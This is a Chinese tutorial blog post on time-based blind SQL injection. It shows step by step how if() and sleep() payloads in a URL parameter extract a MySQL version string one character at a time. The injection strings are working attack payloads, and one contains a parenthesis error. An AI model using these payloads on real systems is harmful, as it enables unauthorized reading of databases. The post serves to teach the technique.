SQL注入之延时注入

news2025/4/16 13:38:07

文章目录

  • 延时注入是什么?
  • 延时注入获取数据库版本号

延时注入是什么?

延时注入就是利用sleep()函数通过if语句判断所写的语句真假,如果为真返回我们想要的东西(例如:数据库的长度,数据库的名字等)如果我们写的东西不符合则会利用sleep()函数让服务器休眠。

固定的理解sleep(x) 函数的意义是关键,就是个自行设定如果判断成功那么就会延迟x秒

延时注入的关键是sleep函数和if语句,通过sleep函数判断语句的真假,为真延迟对应的秒数,为假就无延迟

延时注入获取数据库版本号

substr函数:截取字符

ascii:将截取的字符转为ASCII值进行判断

sleep:为真休眠,如果不为真,if函数返回后面的值1,and 1为真,所以会输出前面的内容。

判断版本号长度:

?id=2' and if(length(version()))=6,sleep(5),1) --+

有延时,返回为真,版本号长度为6个字符

用ASCII码判断版本号第一个字符:

?id=2' and if(ascii(substr(version(),1,1))=53,sleep(5),1) --+

有延时,返回为真,第一个字符ASCII码为53,即数字5

在这里插入图片描述

用ASCII码判断版本号第二个字符:

?id=2' and if(ascii(substr(version(),2,1))=46,sleep(5),1) --+

有延时,返回为真,第二个数字ASCII码为46,即字符.

在这里插入图片描述

用ASCII码判断版本号第三个字符:

?id=2' and if(ascii(substr(version(),3,1))=53,sleep(5),1) --+

有延时,返回为真,第三个字符ASCII码为53,即数字5

在这里插入图片描述

用ASCII码判断版本号第四个字符:

?id=2' and if(ascii(substr(version(),4,1))=46,sleep(5),1) --+

有延时,返回为真,第四个字符ASCII码为46,即字符.

在这里插入图片描述

用ASCII码判断版本号第五个字符:

?id=2' and if(ascii(substr(version(),5,1))=53,sleep(5),1) --+

有延时,返回为真,第五个字符ASCII码为53,即数字5

在这里插入图片描述

用ASCII码判断版本号第六个字符:

?id=2' and if(ascii(substr(version(),6,1))=51,sleep(5),1) --+

有延时,返回为真,第六个字符ASCII码为51,即数字3

在这里插入图片描述

所以,数据库版本号为:

5.5.53

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/918483.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++类练习

作业: 整理思维导图设计一个Per类,类中包含私有成员:姓名、年龄、指针成员身高、体重,再设计一个Stu类,类中包含私有成员:成绩、Per类对象 p1,设计这两个类的构造函数、析构函数和拷贝构造函数…

b树/b+树、时间轮、跳表、LSM-Tree

b树、b树:关系型数据库核心存储结构 1、为什么磁盘数据存储结构用B树、而不用红黑树 磁盘每次读取不是读一个节点、是返回一页数据。 红黑树每次遍历一个节点排除一半数据。 B树通常映射相邻的磁盘页数据。4K mysql索引一个节点隐射16k故而映射4倍,故…

static相关知识点详解

文章目录 一. 修饰成员变量二. 修饰成员方法三. 修饰代码块四. 修饰类 一. 修饰成员变量 static 修饰的成员变量,称为静态成员变量,该变量不属于某个具体的对象,是所有对象所共享的。 public class Student {private String name;private sta…

【多天线传输技术】迫零检测算法、串行干扰相消算法、排序串行干扰相消算法

clc; clear; close all; len_s100000; % 信号长度 snr0:2:20;%信噪比 len_snrlength(snr); s2_1zeros(1,4); ber_zfzeros(1,len_snr); ber_zf_siczeros(1,len_snr); ber_zf_chsiczeros(1,len_snr); for ii1:len_snrerror_zf20;for i1:len_ssnrandi([0,1],4,1); %产生随机信号mo…

35岁的前阿里员工:薪资从46K降到40K进传统企业,太香了,8.30上班,5点下班!

互联网大厂,对每一位程序员而言都是一个向往的地方。高薪、高压、高目标,每个人都为之奋斗不止。然而,在光鲜亮丽的外表之下,却隐藏着无数的焦虑与疲惫。 35岁,对于一个程序员来说,似乎是一个被现实无情提…

性能调优篇 一、概述

目录 五、测试指标 五、测试指标 1、响应时间 提交请求和返回该请求之间使用的时间、一般关注平均响应时间 在垃圾回收环境自中: 暂停时间:执行垃圾收集时,程序的工作线程被暂停的时间 -XX:MaxGCPauseMillis xxx2、吞吐量 单位时间内完…

Linux 生产者和消费者问题

一、相关概念: 1.耦合:耦合是指两个或两个以上的体系或两种运动形式间通过相互作用而彼此影响以至联合起来的现象。在软件工程中,对象之间的耦合度就是对象之间的依赖性。对象之间的耦合越高,维护成本越高,因此对象的…

Spring boot(一)

Spring Boot是一个构建在Spring框架顶部的项目。它提供了一种简便,快捷的方式来设置,配置和运行基于Web的简单应用程序。 它是一个Spring模块,提供了 RAD(快速应用程序开发)功能。它用于创建独立的基于Spring的应用程序,因为它需…

SAP‘s ECC6 EoL(End of Life) 支持服务声明 2027?

前言 一、EoL公告信息,2027? 二、继续使用ECC6.0的选项 1.引入第三方支持 2.S/4 HANA 3.SAP Business ByDesign 4.SAP Business One 总结 最新的公告是:2027年,SAP ECC 6.0将停止得到支持,并退出主流SAP支持&am…

组装电脑及问题排查,成功点亮

组件购买 模块描述渠道价格CPUi5 13600KF 盒装拼多多¥1918散热器风冷利民PA120京东¥197主板华硕ROG 吹雪 B70G京东¥1479内存条金士顿DDR5 16G * 2京东¥699固态硬盘致态 Tipro 7000 2t京东¥940显卡七彩虹4060京东&…

(AcWing) 数字三角形

给定一个如下图所示的数字三角形,从顶部出发,在每一结点可以选择移动至其左下方的结点或移动至其右下方的结点,一直走到底层,要求找出一条路径,使路径上的数字的和最大。 73 88 1 02 7 4 4 4 5 2 6 …

在向excel写入长数据用TEXT不能写完解决办法

在编程时,程序向excel表格写入很长的内容时,发现表格不能够完全显示出来,原因是TEXT类型的长度限制,如果强制加上长度,比如TEXT(1000)就会报错,提示错误信息大小过长,这时候需要换一个格式:LONG…

【初识篇】ESP-IDF零基础入门 4 —— 编译工具讲解

系列文章目录 【文章导航】基于 ESP-IDF 框架的 ESP32 零基础入门系列教程 文章目录 系列文章目录前言1. idf.py 简介2. idf.py 用法3. idf.py 常用命令4. 使用 idf.py 命令编译项目的流程 前言 上一篇教程里,我们学习了如何创建自己的工程,那么现在我…

当高并发来袭:StarRocks Query Cache 一招搞定!

您是否曾经遇到这样的情况?每天早上或业务活动高峰期,大量用户涌入报表平台或数据应用,希望查看特定业务领域的最新指标或趋势。这些用户可能会基于庞大的数据集进行大量类似的聚合查询,造成集群的 CPU 负载持续攀升,从…

基于随机森林的乳腺癌诊断

在当今的现实生活中存在着很多种微信息量的数据,如何采集这些数据中的信息并进行利用,成了数据分析领域里一个新的研究热点。随机森林以它自身固有的特点和优良的分类效果在众多的机器学习算法中脱颖而出。 随机森林算法由Leo Breiman和 Adele Cutler提出,该算法结合了…

JMeter使用方法

一、基础简介 界面 打开方式 双击 jmeter.bat双击 ApacheJMeter.jsr命令行输入 java -jar ApacheJMeter.jar 目录 BIN 目录:存放可执行文件和配置文件 docs目录:api文档,用于开发扩展组件 printable-docs目录:用户帮助手册 li…

海思Hi3861L开发一-环境搭建

一、简介 之前的文章中有详细介绍了HarmonyOS的Hi3861开发,但是该开发是基于HarmonyOS来的。实际在项目开发中,可能不会用到HarmonyOS,用的还是原生的Hi3861。那这次就重新学习Hi3861L。 二、环境搭建 环境:Ubuntu18.04.5 关于Ubuntu的环境搭建,还是参考之前的文章,附上…

musl libc ldso 动态加载研究笔记:动态库的加载次序与初始化次序

前言 musl ldso 是按照什么次序加载动态链接的应用程序的共享库的?如果共享库之间有依赖, musl ldso 如何处理先初始化哪个 共享库? musl ldso 的代码可以在 musl 官方代码: ldso\dlstart.c 与 ldso\dynlink.c,其中动…

table,设置 数据相同时, 合并列

<el-table :data"tableData" :span-method"objectSpanMethod" border style"width: 100%" show-summary><el-table-column type"index" label"序号" width"100" /><el-table-column prop"dat…

c++(8.23)类,this指针,构造函数,析构函数,拷贝构造函数

设计一个Per类&#xff0c;类中包含私有成员&#xff1a;姓名、年龄、指针成员身高、体重&#xff0c;再设计一个Stu类&#xff0c;类中包含私有成员&#xff1a;成绩、Per类对象 p1&#xff0c;设计这两个类的构造函数、析构函数和拷贝构造函数。 #include <iostream>u…